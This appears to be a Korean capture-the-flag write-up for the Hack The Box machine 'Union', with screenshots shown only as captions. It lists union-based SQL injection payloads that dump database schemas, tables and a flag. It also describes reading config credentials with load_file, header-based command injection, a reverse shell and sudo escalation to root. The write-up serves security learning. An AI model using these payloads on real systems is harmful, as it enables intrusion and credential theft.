HTB-Union Write up

HTB-Union Write up

in

Enumeration

스크린샷 2022-04-02 오후 4 45 18

웹페이지 탐색 시 아이디를 입력하여 검증하는 페이지 발견

스크린샷 2022-04-02 오후 4 18 27 스크린샷 2022-04-02 오후 4 18 39

해당 페이지에서 SQL injection 시도 시 취약한것을 확인

스크린샷 2022-04-02 오후 4 19 22


Unioin SQL injection

useegod' union select 1 -- -

스크린샷 2022-04-02 오후 4 19 53

useegod' union select table_name from information_schema.tables -- -

스크린샷 2022-04-02 오후 4 24 11

1개의 값만 노출이 되어 group_concat을 사용하여 여러개의 값을 묶어서 노출하도록 공격

useegod' union select group_concat(table_name) from information_schema.tables -- -

스크린샷 2022-04-02 오후 4 24 47

테이블에 내용이 없어 데이터베이스부터 재 검색

useegod' union select group_concat(schema_name) from information_schema.schemata -- -

스크린샷 2022-04-02 오후 4 25 57

useegod' union select group_concat(TABLE_NAME, COLUMN_NAME) from information_schema.columns where TABLE_SCHEMA like 'november' -- -

스크린샷 2022-04-02 오후 4 28 08

useegod' select group_concat(TABLE_NAME ":", COLUMN_NAME, "\n") from information_schema.columns where TABLE_SCHEMA like 'november' -- -

스크린샷 2022-04-02 오후 4 28 53

useegod' select group_concat(player,"\n") from november.players -- -

스크린샷 2022-04-02 오후 4 29 26

useegod' union select group_concat(one) from november.flag -- -

스크린샷 2022-04-02 오후 4 30 44


FoodHold

flag 값을 획득하여 값 입력을 하였더니 ssh 에 등록이 되었다고 출력이 됨

스크린샷 2022-04-02 오후 4 31 12 스크린샷 2022-04-02 오후 4 31 17

별 다른 내용이 없어 load_file 을 이용 내용을 살펴보니 config.php 파일안에 db의 설정파일 획득

해당 내용을 토대로 ssh 입력 시 접속 가능

스크린샷 2022-04-02 오후 4 32 45 스크린샷 2022-04-02 오후 4 33 22


Privilege Escalation

firewall.php 내용을 보니 X-FORWARDED-FOR 을 통해 command injection 이 가능할껏처럼 보임

스크린샷 2022-04-02 오후 4 37 24

firewall.php 에 헤더를 추가하여 sleep 1; 공격 진행시 공격이 가능한것을 확인

스크린샷 2022-04-02 오후 4 41 08

bash 를 이용하여 리버스쉘을 연결 후 sudo -l 입력 시 패스워드 권한 없이 sudo 명령이 사용가능하여 root 권한 획득

스크린샷 2022-04-02 오후 4 42 23

스크린샷 2022-04-02 오후 4 57 34